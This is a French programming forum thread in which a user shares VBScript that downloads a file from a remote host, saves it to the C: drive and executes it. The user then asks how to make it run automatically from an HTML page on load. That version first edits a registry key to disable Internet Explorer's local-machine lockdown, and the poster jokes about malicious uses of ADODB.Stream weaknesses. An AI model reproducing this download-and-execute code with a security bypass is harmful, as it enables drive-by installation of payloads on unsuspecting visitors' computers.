Téléchargement Automatique par VBScript
Salut tout le monde :) Je poste ce VBScript qui fonctionne pour moi parfaitement quand je le lance comme un fichier VBS.
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| Dim strFileURL,strHDLocation
' Mes paramètres
strFileURL = "http://hackoo.ifrance.com/Merlin.jpg"
strHDLocation = "c:\Merlin.jpg"
' Récupérer le fichier
Set Ws = CreateObject("WScript.Shell")
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End If
Set objXMLHTTP = Nothing
Ws.Run strHDLocation
Set WS = Nothing |
Par contre mon problème,c'est comment puis-je faire cela fonctionner dans le fichier HTML? parce qu'il ne fonctionne pas pour moi, je ne sais pas pourquoi? quelqu'un pourrait me dire ici ce qui ne va pas dans le fichier HTML :cry:
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <html>
<head>
<script language=vbscript>
Sub Window_Onload
Call Download_Me()
End Sub
Sub Download_Me()
Dim strFileURL,strHDLocation,LockDown,Keysec1,itemtype
'Autoriser le contenu actif à s'exécuter dans les fichiers de la zone Ordinateur local et l'exécution des scripts.
LockDown="HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN\"
Keysec1=LockDown & "iexplore.exe"
itemtype = "REG_DWORD"
strFileURL = "http://hackoo.ifrance.com/Merlin.jpg"
strHDLocation = "c:\Merlin.jpg"
Set Ws = CreateObject("WScript.Shell")
Ws.RegWrite Keysec1,0,itemtype 'la valeur 0 pour Autoriser l'exécution des scripts.
'la valeur 1 pour Bloquer l'exécution des scripts.
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 2 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End If
Set objXMLHTTP = Nothing
Ws.Run strHDLocation
Set WS = Nothing
End Sub
</script>
</head>
<body>
<br>
<input type=button value="Click to Run" name="Download_Me" onclick="Download_Me()">
</body>
</html> |
C'est un problème de sécurité dans Internet Explorer ! ! !
Citation:
Envoyé par
ProgElecT
Code:
onclick="Download_Me()">
Il me semble bien que les guillemets sont en trop, mais il y a longtemps que je n'ai pas pratiqué le HTML.
Salut ProgElecT ! ;)
Non je ne crois pas qu'il soit un problème de guillemets, mais je crois a cause d'un problème de sécurité. Effectivement, Un objet de flux de données ADO représente un fichier en mémoire. L'objet de flux de données contient plusieurs méthodes pour lire et écrire des fichiers binaires et des fichiers texte. Lorsque cette fonctionnalité intégrée est associée à des vulnérabilités connues de la sécurité dans Microsoft Internet Explorer, un site Internet peut exécuter des scripts à partir de la zone Ordinateur local. Ce problème se produit car l'objet ADODB.Stream permet l'accès au disque dur lorsque l'objet ADODB.Stream est hébergé dans Internet Explorer.et Imaginer vous ce qu'on peut faire comme des malicieux scripts :aie: :mouarf: Source
et voila un exemple qui peut executer la calcuatrice aprés avoir cliquer sur un bouton mais le ADODB.Stream ne marche pas car l'objet ne se trouve pas sur l'ordinateur local
Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| <html>
<head>
<title>Ma page</title>
</head>
<script language="vbscript">
Sub Window_Onload
Call Download_Me()
End Sub
Sub Download_Me()
Dim strFileURL,strHDLocation,LockDown,Keysec1,itemtype
'Autoriser le contenu actif à s'exécuter dans les fichiers de la zone Ordinateur local et l'exécution des scripts.
LockDown="HKLM\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN\"
Keysec1=LockDown & "iexplore.exe"
itemtype = "REG_DWORD"
strFileURL = "http://hackoo.ifrance.com/Merlin.jpg"
strHDLocation = "c:\Merlin.jpg"
Set Ws = CreateObject("WScript.Shell")
Ws.RegWrite Keysec1,0,itemtype 'la valeur 0 pour Autoriser l'exécution des scripts.
'la valeur 1 pour Bloquer l'exécution des scripts.
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 2 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End If
Set objXMLHTTP = Nothing
Ws.Run strHDLocation
Set WS = Nothing
End Sub
Sub Calc
Dim WshShell
' déclaration d'un objet WshShell
Set WshShell = CreateObject("Wscript.Shell")
' lancement de notepad sur le client
WshShell.Run "%SystemRoot%\system32\calc.exe "
' destruction de l'objet WshShell
Set WshShell = nothing
end sub
</script>
<body>
<input type=button value="Click to Run" name="Calc" onclick="Calc">
</body>
</html> |